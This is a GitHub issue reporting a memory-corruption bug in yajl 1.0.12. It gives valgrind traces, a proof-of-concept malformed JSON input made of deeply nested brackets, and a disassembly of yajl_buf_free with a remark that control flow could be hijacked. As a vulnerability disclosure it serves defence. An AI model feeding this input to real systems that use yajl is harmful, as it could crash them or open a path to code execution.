lloyd/yajl

Double free vulnerability in 1.0.12

zeroinside opened this issue · 0 comments

==103917== Invalid read of size 4
==103917== at 0x4E3EB32: yajl_gen_array_open (in /lib/libyajl.so.1)
==103917== by 0x401900: reformat_start_array (input.c:63)
==103917== by 0x4E3CDCE: yajl_do_parse (in /lib/libyajl.so.1)
==103917== by 0x4012C0: main (input.c:149)
==103917== Address 0x540c280 is 0 bytes after a block of size 576 alloc'd
==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1)
==103917== by 0x40118B: main (input.c:127)
==103917==
==103917== Invalid read of size 4
==103917== at 0x4E3DF42: yajl_gen_number (in /lib/libyajl.so.1)
==103917== by 0x401A40: reformat_number (input.c:25)
==103917== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1)
==103917== by 0x4012C0: main (input.c:149)
==103917== Address 0x540c28c is 12 bytes after a block of size 576 alloc'd
==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1)
==103917== by 0x40118B: main (input.c:127)
==103917==
==103917== Invalid read of size 4
==103917== at 0x4E3DFE6: yajl_gen_number (in /lib/libyajl.so.1)
==103917== by 0x401A40: reformat_number (input.c:25)
==103917== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1)
==103917== by 0x4012C0: main (input.c:149)
==103917== Address 0x540c28c is 12 bytes after a block of size 576 alloc'd
==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1)
==103917== by 0x40118B: main (input.c:127)
==103917==
==103917== Invalid write of size 4
==103917== at 0x4E3E090: yajl_gen_number (in /lib/libyajl.so.1)
==103917== by 0x401A40: reformat_number (input.c:25)
==103917== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1)
==103917== by 0x4012C0: main (input.c:149)
==103917== Address 0x540c28c is 12 bytes after a block of size 576 alloc'd
==103917== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==103917== by 0x4E3D85D: yajl_gen_alloc2 (in /lib/libyajl.so.1)
==103917== by 0x40118B: main (input.c:127)

Here's the PoC:
{"[9[":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[4[[[[[[[[[[[[[[[[[[[[[[[[H[[[[[[[[[[K[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[{[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[E[[[[[[[[[[[[[[j[[[[[[[[[[[[[][[[[[[[[[[[[[[[[[[":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[g[@[[[[[[[[[[[[[[[[[\M[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[k[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[

These one is pretty serious, if user is able to map address below the data, code can jump to it:

Dump of assembler code for function yajl_buf_free:
0x00007ffff7bd2130 <+0>: push %rbx
0x00007ffff7bd2131 <+1>: mov 0x8(%rdi),%rsi
0x00007ffff7bd2135 <+5>: mov %rdi,%rbx
0x00007ffff7bd2138 <+8>: test %rsi,%rsi
0x00007ffff7bd213b <+11>: je 0x7ffff7bd2148 <yajl_buf_free+24>
0x00007ffff7bd213d <+13>: mov 0x10(%rdi),%rax
=> 0x00007ffff7bd2141 <+17>: mov 0x18(%rax),%rdi
0x00007ffff7bd2145 <+21>: callq *0x10(%rax)
0x00007ffff7bd2148 <+24>: mov 0x10(%rbx),%rax
0x00007ffff7bd214c <+28>: mov %rbx,%rsi
0x00007ffff7bd214f <+31>: pop %rbx
0x00007ffff7bd2150 <+32>: mov 0x18(%rax),%rdi
0x00007ffff7bd2154 <+36>: mov 0x10(%rax),%rax
0x00007ffff7bd2158 <+40>: jmpq *%rax
End of assembler dump.